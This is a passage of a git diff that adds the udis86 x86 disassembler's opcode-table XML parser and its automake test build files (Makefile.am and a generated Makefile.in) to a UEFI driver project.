insnNode.localName != "instruction": + print("warning: invalid insn node - %s" % insnNode.localName) + continue + + mnemonic = insnNode.getElementsByTagName( 'mnemonic' )[ 0 ].firstChild.data + vendor = '' + + for node in insnNode.childNodes: + if node.localName == 'vendor': + vendor = node.firstChild.data + elif node.localName == 'def': + ( prefixes, opcodes, operands, local_vendor ) = \ + self.parseDef( node ) + if ( len( local_vendor ) ): + vendor = local_vendor + # callback + fn( prefixes, mnemonic, opcodes, operands, vendor ) + + +def printFn( pfx, mnm, opc, opr, ven ): + print('def: ',) + if len( pfx ): + print(' '.join( pfx ),) + print("%s %s %s %s" % + ( mnm, ' '.join( opc ), ' '.join( opr ), ven )) + + +def parse( xml, callback ): + parser = UdOptableXmlParser() + parser.parse( xml, callback ) + +def main(): + parser = UdOptableXmlParser() + parser.parse( sys.argv[ 1 ], printFn ) + +if __name__ == "__main__": + main() diff --git a/UefiDriver/udis86/tests/Makefile.am b/UefiDriver/udis86/tests/Makefile.am new file mode 100644 index 0000000..f7cc17b --- /dev/null +++ b/UefiDriver/udis86/tests/Makefile.am @@ -0,0 +1,98 @@ +# +# Automake definitions for udis86 tests +# +check_PROGRAMS = \ + symresolve \ + bufoverrun \ + libcheck + +bufoverrun_SOURCES = bufoverrun.c +bufoverrun_LDADD = $(top_builddir)/libudis86/libudis86.la +bufoverrun_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) + +symresolve_SOURCES = symresolve.c +symresolve_LDADD = $(top_builddir)/libudis86/libudis86.la +symresolve_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) + +libcheck_SOURCES = libcheck.c +libcheck_LDADD = $(top_builddir)/libudis86/libudis86.la +libcheck_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) + +MAINTAINERCLEANFILES = Makefile.in + +DISTCLEANFILES = difftest.sh + +YASM = @YASM@ +PYTHON = @PYTHON@ +TESTDIS = $(top_builddir)/udcli/udcli + +EXTRA_DIST = \ + $(srcdir)/asm \ + $(srcdir)/oprgen.py \ + $(srcdir)/symresolve.ref \ + $(srcdir)/installcheck.c \ + $(srcdir)/libcheck.c + +if HAVE_YASM +tests: difftest test-buf-overrun test-sym-resolver test-libcheck +else +tests: warn_no_yasm test-buf-overrun test-sym-resolver test-libcheck +endif + +SEED = 1984 + + +.PHONY: test-buf-overrun +test-buf-overrun: bufoverrun + @./bufoverrun && echo "$@: passed" + + +.PHONY: test-sym-resolver +test-sym-resolver: symresolve + @$(top_builddir)/tests/$< > $@.out + @diff -w $(srcdir)/symresolve.ref $@.out && echo "$@: passed." + +.PHONY: test-libcheck +test-libcheck: libcheck + @./libcheck && echo "$@: passed" + +# +# generate operand tests +# +oprtest_generate = \ + outdir=$(builddir)/_results/asm/$(1) && \ + mkdir -p $${outdir} && \ + PYTHONPATH=$(top_srcdir)/scripts $(PYTHON) $(top_srcdir)/tests/oprgen.py \ + $(top_srcdir)/docs/x86/optable.xml $(SEED) $(1) >$${outdir}/oprtest.asm + +.PHONY: oprtest +oprtest: oprgen.py + @echo "Generating operand tests." + @$(call oprtest_generate,64) + @$(call oprtest_generate,32) + @$(call oprtest_generate,16) + + +.PHONY: difftest +difftest: oprtest $(builddir)/difftest.sh + @sh $(builddir)/difftest.sh + + +.PHONY: difftest-refup +difftest-refup: $(builddir)/difftest.sh + @sh $(builddir)/difftest.sh refup + + +.PHONY: warn_no_yasm +warn_no_yasm: + @echo "*** YASM NOT FOUND: Poor Test Coverage ***" + +check-local: tests + +installcheck-local: + @$(CC) $(srcdir)/installcheck.c -o installcheck.bin -I$(includedir) -L$(libdir) -ludis86 + @echo "$@: passed" + +clean-local: + rm -f $(builddir)/*.bin $(builddir)/*.out $(builddir)/*.pyc + rm -rf $(builddir)/_results diff --git a/UefiDriver/udis86/tests/Makefile.in b/UefiDriver/udis86/tests/Makefile.in new file mode 100644 index 0000000..8105797 --- /dev/null +++ b/UefiDriver/udis86/tests/Makefile.in @@ -0,0 +1,699 @@ +# Makefile.in generated by automake 1.13.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994-2012 Free Software Foundation, Inc. + +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ +VPATH = @srcdir@ +am__make_dryrun = \ + { \ + am__dry=no; \ + case $$MAKEFLAGS in \ + *\\[\ \ ]*) \ + echo 'am--echo: ; @echo "AM" OK' | $(MAKE) -f - 2>/dev/null \ + | grep '^AM OK$$' >/dev/null || am__dry=yes;; \ + *) \ + for am__flg in $$MAKEFLAGS; do \ + case $$am__flg in \ + *=*|--*) ;; \ + *n*) am__dry=yes; break;; \ + esac; \ + done;; \ + esac; \ + test $$am__dry = yes; \ + } +pkgdatadir = $(datadir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkglibexecdir = $(libexecdir)/@PACKAGE@ +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +check_PROGRAMS = symresolve$(EXEEXT) bufoverrun$(EXEEXT) \ + libcheck$(EXEEXT) +subdir = tests +DIST_COMMON = $(srcdir)/Makefile.in $(srcdir)/Makefile.am \ + $(srcdir)/difftest.sh.in $(top_srcdir)/build/depcomp +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/build/m4/libtool.m4 \ + $(top_srcdir)/build/m4/ltoptions.m4 \ + $(top_srcdir)/build/m4/ltsugar.m4 \ + $(top_srcdir)/build/m4/ltversion.m4 \ + $(top_srcdir)/build/m4/lt~obsolete.m4 \ + $(top_srcdir)/m4/ax_compare_version.m4 \ + $(top_srcdir)/m4/ax_prog_sphinx_version.m4 \ + $(top_srcdir)/m4/ax_prog_yasm_version.m4 \ + $(top_srcdir)/m4/ax_with_prog.m4 \ + $(top_srcdir)/m4/ax_with_python.m4 $(top_srcdir)/configure.ac +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(install_sh) -d +CONFIG_HEADER = $(top_builddir)/config.h +CONFIG_CLEAN_FILES = difftest.sh +CONFIG_CLEAN_VPATH_FILES = +am_bufoverrun_OBJECTS = bufoverrun-bufoverrun.$(OBJEXT) +bufoverrun_OBJECTS = $(am_bufoverrun_OBJECTS) +bufoverrun_DEPENDENCIES = $(top_builddir)/libudis86/libudis86.la +AM_V_lt = $(am__v_lt_@AM_V@) +am__v_lt_ = $(am__v_lt_@AM_DEFAULT_V@) +am__v_lt_0 = --silent +am__v_lt_1 = +bufoverrun_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(bufoverrun_CFLAGS) \ + $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ +am_libcheck_OBJECTS = libcheck-libcheck.$(OBJEXT) +libcheck_OBJECTS = $(am_libcheck_OBJECTS) +libcheck_DEPENDENCIES = $(top_builddir)/libudis86/libudis86.la +libcheck_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(libcheck_CFLAGS) \ + $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ +am_symresolve_OBJECTS = symresolve-symresolve.$(OBJEXT) +symresolve_OBJECTS = $(am_symresolve_OBJECTS) +symresolve_DEPENDENCIES = $(top_builddir)/libudis86/libudis86.la +symresolve_LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(symresolve_CFLAGS) \ + $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_P = $(am__v_P_@AM_V@) +am__v_P_ = $(am__v_P_@AM_DEFAULT_V@) +am__v_P_0 = false +am__v_P_1 = : +AM_V_GEN = $(am__v_GEN_@AM_V@) +am__v_GEN_ = $(am__v_GEN_@AM_DEFAULT_V@) +am__v_GEN_0 = @echo " GEN " $@; +am__v_GEN_1 = +AM_V_at = $(am__v_at_@AM_V@) +am__v_at_ = $(am__v_at_@AM_DEFAULT_V@) +am__v_at_0 = @ +am__v_at_1 = +DEFAULT_INCLUDES = -I.@am__isrc@ -I$(top_builddir) +depcomp = $(SHELL) $(top_srcdir)/build/depcomp +am__depfiles_maybe = depfiles +am__mv = mv -f +COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ + $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS) +LTCOMPILE = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=compile $(CC) $(DEFS) \ + $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \ + $(AM_CFLAGS) $(CFLAGS) +AM_V_CC = $(am__v_CC_@AM_V@) +am__v_CC_ = $(am__v_CC_@AM_DEFAULT_V@) +am__v_CC_0 = @echo " CC " $@; +am__v_CC_1 = +CCLD = $(CC) +LINK = $(LIBTOOL) $(AM_V_lt) --tag=CC $(AM_LIBTOOLFLAGS) \ + $(LIBTOOLFLAGS) --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \ + $(AM_LDFLAGS) $(LDFLAGS) -o $@ +AM_V_CCLD = $(am__v_CCLD_@AM_V@) +am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) +am__v_CCLD_0 = @echo " CCLD " $@; +am__v_CCLD_1 = +SOURCES = $(bufoverrun_SOURCES) $(libcheck_SOURCES) \ + $(symresolve_SOURCES) +DIST_SOURCES = $(bufoverrun_SOURCES) $(libcheck_SOURCES) \ + $(symresolve_SOURCES) +am__can_run_installinfo = \ + case $$AM_UPDATE_INFO_DIR in \ + n|no|NO) false;; \ + *) (install-info --version) >/dev/null 2>&1;; \ + esac +am__tagged_files = $(HEADERS) $(SOURCES) $(TAGS_FILES) $(LISP) +# Read a list of newline-separated strings from the standard input, +# and print each of them once, without duplicates. Input order is +# *not* preserved. +am__uniquify_input = $(AWK) '\ + BEGIN { nonempty = 0; } \ + { items[$$0] = 1; nonempty = 1; } \ + END { if (nonempty) { for (i in items) print i; }; } \ +' +# Make sure the list of sources is unique. This is necessary because, +# e.g., the same source file might be shared among _SOURCES variables +# for different programs/libraries. +am__define_uniq_tagged_files = \ + list='$(am__tagged_files)'; \ + unique=`for i in $$list; do \ + if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ + done | $(am__uniquify_input)` +ETAGS = etags +CTAGS = ctags +DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) +ACLOCAL = @ACLOCAL@ +ACLOCAL_AMFLAGS = @ACLOCAL_AMFLAGS@ +AMTAR = @AMTAR@ +AM_DEFAULT_VERBOSITY = @AM_DEFAULT_VERBOSITY@ +AR = @AR@ +AS = @AS@ +AUTOCONF = @AUTOCONF@ +AUTOHEADER = @AUTOHEADER@ +AUTOMAKE = @AUTOMAKE@ +AWK = @AWK@ +CC = @CC@ +CCDEPMODE = @CCDEPMODE@ +CFLAGS = @CFLAGS@ +CPP = @CPP@ +CPPFLAGS = @CPPFLAGS@ +CYGPATH_W = @CYGPATH_W@ +DEFS = @DEFS@ +DEPDIR = @DEPDIR@ +DLLTOOL = @DLLTOOL@ +DSYMUTIL = @DSYMUTIL@ +DUMPBIN = @DUMPBIN@ +ECHO_C = @ECHO_C@ +ECHO_N = @ECHO_N@ +ECHO_T = @ECHO_T@ +EGREP = @EGREP@ +EXEEXT = @EXEEXT@ +FGREP = @FGREP@ +GREP = @GREP@ +INSTALL = @INSTALL@ +INSTALL_DATA = @INSTALL_DATA@ +INSTALL_PROGRAM = @INSTALL_PROGRAM@ +INSTALL_SCRIPT = @INSTALL_SCRIPT@ +INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@ +LD = @LD@ +LDFLAGS = @LDFLAGS@ +LIBOBJS = @LIBOBJS@ +LIBS = @LIBS@ +LIBTOOL = @LIBTOOL@ +LIPO = @LIPO@ +LN_S = @LN_S@ +LTLIBOBJS = @LTLIBOBJS@ +MAKEINFO = @MAKEINFO@ +MANIFEST_TOOL = @MANIFEST_TOOL@ +MKDIR_P = @MKDIR_P@ +NM = @NM@ +NMEDIT = @NMEDIT@ +OBJDUMP = @OBJDUMP@ +OBJEXT = @OBJEXT@ +OTOOL = @OTOOL@ +OTOOL64 = @OTOOL64@ +PACKAGE = @PACKAGE@ +PACKAGE_BUGREPORT = @PACKAGE_BUGREPORT@ +PACKAGE_NAME = @PACKAGE_NAME@ +PACKAGE_STRING = @PACKAGE_STRING@ +PACKAGE_TARNAME = @PACKAGE_TARNAME@ +PACKAGE_URL = @PACKAGE_URL@ +PACKAGE_VERSION = @PACKAGE_VERSION@ +PATH_SEPARATOR = @PATH_SEPARATOR@ +PYTHON = @PYTHON@ +RANLIB = @RANLIB@ +SED = @SED@ +SET_MAKE = @SET_MAKE@ +SHELL = @SHELL@ +SPHINX_BUILD = @SPHINX_BUILD@ +SPHINX_VERSION = @SPHINX_VERSION@ +STRIP = @STRIP@ +VERSION = @VERSION@ +YASM = @YASM@ +YASM_VERSION = @YASM_VERSION@ +abs_builddir = @abs_builddir@ +abs_srcdir = @abs_srcdir@ +abs_top_builddir = @abs_top_builddir@ +abs_top_srcdir = @abs_top_srcdir@ +ac_ct_AR = @ac_ct_AR@ +ac_ct_CC = @ac_ct_CC@ +ac_ct_DUMPBIN = @ac_ct_DUMPBIN@ +am__include = @am__include@ +am__leading_dot = @am__leading_dot@ +am__quote = @am__quote@ +am__tar = @am__tar@ +am__untar = @am__untar@ +bindir = @bindir@ +build = @build@ +build_alias = @build_alias@ +build_cpu = @build_cpu@ +build_os = @build_os@ +build_vendor = @build_vendor@ +builddir = @builddir@ +datadir = @datadir@ +datarootdir = @datarootdir@ +docdir = @docdir@ +dvidir = @dvidir@ +exec_prefix = @exec_prefix@ +host = @host@ +host_alias = @host_alias@ +host_cpu = @host_cpu@ +host_os = @host_os@ +host_vendor = @host_vendor@ +htmldir = @htmldir@ +includedir = @includedir@ +infodir = @infodir@ +install_sh = @install_sh@ +libdir = @libdir@ +libexecdir = @libexecdir@ +localedir = @localedir@ +localstatedir = @localstatedir@ +mandir = @mandir@ +mkdir_p = @mkdir_p@ +oldincludedir = @oldincludedir@ +pdfdir = @pdfdir@ +prefix = @prefix@ +program_transform_name = @program_transform_name@ +psdir = @psdir@ +sbindir = @sbindir@ +sharedstatedir = @sharedstatedir@ +srcdir = @srcdir@ +sysconfdir = @sysconfdir@ +target_alias = @target_alias@ +top_build_prefix = @top_build_prefix@ +top_builddir = @top_builddir@ +top_srcdir = @top_srcdir@ +bufoverrun_SOURCES = bufoverrun.c +bufoverrun_LDADD = $(top_builddir)/libudis86/libudis86.la +bufoverrun_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) +symresolve_SOURCES = symresolve.c +symresolve_LDADD = $(top_builddir)/libudis86/libudis86.la +symresolve_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) +libcheck_SOURCES = libcheck.c +libcheck_LDADD = $(top_builddir)/libudis86/libudis86.la +libcheck_CFLAGS = -I$(top_srcdir)/libudis86 -I$(top_srcdir) +MAINTAINERCLEANFILES = Makefile.in +DISTCLEANFILES = difftest.sh +TESTDIS = $(top_builddir)/udcli/udcli +EXTRA_DIST = \ + $(srcdir)/asm \ + $(srcdir)/oprgen.py \ + $(srcdir)/symresolve.ref \ + $(srcdir)/installcheck.c \ + $(srcdir)/libcheck.c + +SEED = 1984 + +# +# generate operand tests +# +oprtest_generate = \ + outdir=$(builddir)/_results/asm/$(1) && \ + mkdir -p $${outdir} && \ + PYTHONPATH=$(top_srcdir)/scripts $(PYTHON) $(top_srcdir)/tests/oprgen.py \ + $(top_srcdir)/docs/x86/optable.xml $(SEED) $(1) >$${outdir}/oprtest.asm + +all: all-am + +.SUFFIXES: +.SUFFIXES: .c .lo .o .obj +$(srcdir)/Makefile.in: $(srcdir)/Makefile.am $(am__configure_deps) + @for dep in $?; do \ + case '$(am__configure_deps)' in \ + *$$dep*) \ + ( cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh ) \ + && { if test -f $@; then exit 0; else break; fi; }; \ + exit 1;; \ + esac; \ + done; \ + echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign tests/Makefile'; \ + $(am__cd) $(top_srcdir) && \ + $(AUTOMAKE) --foreign tests/Makefile +.PRECIOUS: Makefile +Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status + @case '$?' in \ + *config.status*) \ + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \ + *) \ + echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \ + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \ + esac; + +$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh + +$(top_srcdir)/configure: $(am__configure_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(ACLOCAL_M4): $(am__aclocal_m4_deps) + cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh +$(am__aclocal_m4_deps): +difftest.sh: $(top_builddir)/config.status $(srcdir)/difftest.sh.in + cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ + +clean-checkPROGRAMS: + @list='$(check_PROGRAMS)'; test -n "$$list" || exit 0; \ + echo " rm -f" $$list; \ + rm -f $$list || exit $$?; \ + test -n "$(EXEEXT)" || exit 0; \ + list=`for p in $$list; do echo "$$p"; done | sed 's/$(EXEEXT)$$//'`; \ + echo " rm -f" $$list; \ + rm -f $$list +bufoverrun$(EXEEXT): $(bufoverrun_OBJECTS) $(bufoverrun_DEPENDENCIES) $(EXTRA_bufoverrun_DEPENDENCIES) + @rm -f bufoverrun$(EXEEXT) + $(AM_V_CCLD)$(bufoverrun_LINK) $(bufoverrun_OBJECTS) $(bufoverrun_LDADD) $(LIBS) +libcheck$(EXEEXT): $(libcheck_OBJECTS) $(libcheck_DEPENDENCIES) $(EXTRA_libcheck_DEPENDENCIES) + @rm -f libcheck$(EXEEXT) + $(AM_V_CCLD)$(libcheck_LINK) $(libcheck_OBJECTS) $(libcheck_LDADD) $(LIBS) +symresolve$(EXEEXT): $(symresolve_OBJECTS) $(symresolve_DEPENDENCIES) $(EXTRA_symresolve_DEPENDENCIES) + @rm -f symresolve$(EXEEXT) + $(AM_V_CCLD)$(symresolve_LINK) $(symresolve_OBJECTS) $(symresolve_LDADD) $(LIBS) + +mostlyclean-compile: + -rm -f *.$(OBJEXT) + +distclean-compile: + -rm -f *.tab.c + +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/bufoverrun-bufoverrun.Po@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/libcheck-libcheck.Po@am__quote@ +@AMDEP_TRUE@@am__include@ @am__quote@./$(DEPDIR)/symresolve-symresolve.Po@am__quote@ + +.c.o: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c $< + +.c.obj: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(COMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ `$(CYGPATH_W) '$<'` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(COMPILE) -c `$(CYGPATH_W) '$<'` + +.c.lo: +@am__fastdepCC_TRUE@ $(AM_V_CC)$(LTCOMPILE) -MT $@ -MD -MP -MF $(DEPDIR)/$*.Tpo -c -o $@ $< +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/$*.Tpo $(DEPDIR)/$*.Plo +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(LTCOMPILE) -c -o $@ $< + +bufoverrun-bufoverrun.o: bufoverrun.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(bufoverrun_CFLAGS) $(CFLAGS) -MT bufoverrun-bufoverrun.o -MD -MP -MF $(DEPDIR)/bufoverrun-bufoverrun.Tpo -c -o bufoverrun-bufoverrun.o `test -f 'bufoverrun.c' || echo '$(srcdir)/'`bufoverrun.c +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bufoverrun-bufoverrun.Tpo $(DEPDIR)/bufoverrun-bufoverrun.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='bufoverrun.c' object='bufoverrun-bufoverrun.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(bufoverrun_CFLAGS) $(CFLAGS) -c -o bufoverrun-bufoverrun.o `test -f 'bufoverrun.c' || echo '$(srcdir)/'`bufoverrun.c + +bufoverrun-bufoverrun.obj: bufoverrun.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(bufoverrun_CFLAGS) $(CFLAGS) -MT bufoverrun-bufoverrun.obj -MD -MP -MF $(DEPDIR)/bufoverrun-bufoverrun.Tpo -c -o bufoverrun-bufoverrun.obj `if test -f 'bufoverrun.c'; then $(CYGPATH_W) 'bufoverrun.c'; else $(CYGPATH_W) '$(srcdir)/bufoverrun.c'; fi` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/bufoverrun-bufoverrun.Tpo $(DEPDIR)/bufoverrun-bufoverrun.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='bufoverrun.c' object='bufoverrun-bufoverrun.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(bufoverrun_CFLAGS) $(CFLAGS) -c -o bufoverrun-bufoverrun.obj `if test -f 'bufoverrun.c'; then $(CYGPATH_W) 'bufoverrun.c'; else $(CYGPATH_W) '$(srcdir)/bufoverrun.c'; fi` + +libcheck-libcheck.o: libcheck.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libcheck_CFLAGS) $(CFLAGS) -MT libcheck-libcheck.o -MD -MP -MF $(DEPDIR)/libcheck-libcheck.Tpo -c -o libcheck-libcheck.o `test -f 'libcheck.c' || echo '$(srcdir)/'`libcheck.c +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libcheck-libcheck.Tpo $(DEPDIR)/libcheck-libcheck.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='libcheck.c' object='libcheck-libcheck.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libcheck_CFLAGS) $(CFLAGS) -c -o libcheck-libcheck.o `test -f 'libcheck.c' || echo '$(srcdir)/'`libcheck.c + +libcheck-libcheck.obj: libcheck.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libcheck_CFLAGS) $(CFLAGS) -MT libcheck-libcheck.obj -MD -MP -MF $(DEPDIR)/libcheck-libcheck.Tpo -c -o libcheck-libcheck.obj `if test -f 'libcheck.c'; then $(CYGPATH_W) 'libcheck.c'; else $(CYGPATH_W) '$(srcdir)/libcheck.c'; fi` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/libcheck-libcheck.Tpo $(DEPDIR)/libcheck-libcheck.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='libcheck.c' object='libcheck-libcheck.obj' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(libcheck_CFLAGS) $(CFLAGS) -c -o libcheck-libcheck.obj `if test -f 'libcheck.c'; then $(CYGPATH_W) 'libcheck.c'; else $(CYGPATH_W) '$(srcdir)/libcheck.c'; fi` + +symresolve-symresolve.o: symresolve.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(symresolve_CFLAGS) $(CFLAGS) -MT symresolve-symresolve.o -MD -MP -MF $(DEPDIR)/symresolve-symresolve.Tpo -c -o symresolve-symresolve.o `test -f 'symresolve.c' || echo '$(srcdir)/'`symresolve.c +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/symresolve-symresolve.Tpo $(DEPDIR)/symresolve-symresolve.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ $(AM_V_CC)source='symresolve.c' object='symresolve-symresolve.o' libtool=no @AMDEPBACKSLASH@ +@AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ +@am__fastdepCC_FALSE@ $(AM_V_CC@am__nodep@)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(symresolve_CFLAGS) $(CFLAGS) -c -o symresolve-symresolve.o `test -f 'symresolve.c' || echo '$(srcdir)/'`symresolve.c + +symresolve-symresolve.obj: symresolve.c +@am__fastdepCC_TRUE@ $(AM_V_CC)$(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) $(symresolve_CFLAGS) $(CFLAGS) -MT symresolve-symresolve.obj -MD -MP -MF $(DEPDIR)/symresolve-symresolve.Tpo -c -o symresolve-symresolve.obj `if test -f 'symresolve.c'; then $(CYGPATH_W) 'symresolve.c'; else $(CYGPATH_W) '$(srcdir)/symresolve.c'; fi` +@am__fastdepCC_TRUE@ $(AM_V_at)$(am__mv) $(DEPDIR)/symresolve-symresolve.Tpo $(DEPDIR)/symresolve-symresolve.Po +@AMDEP_TRUE@@am__fastdepCC_FALSE@ 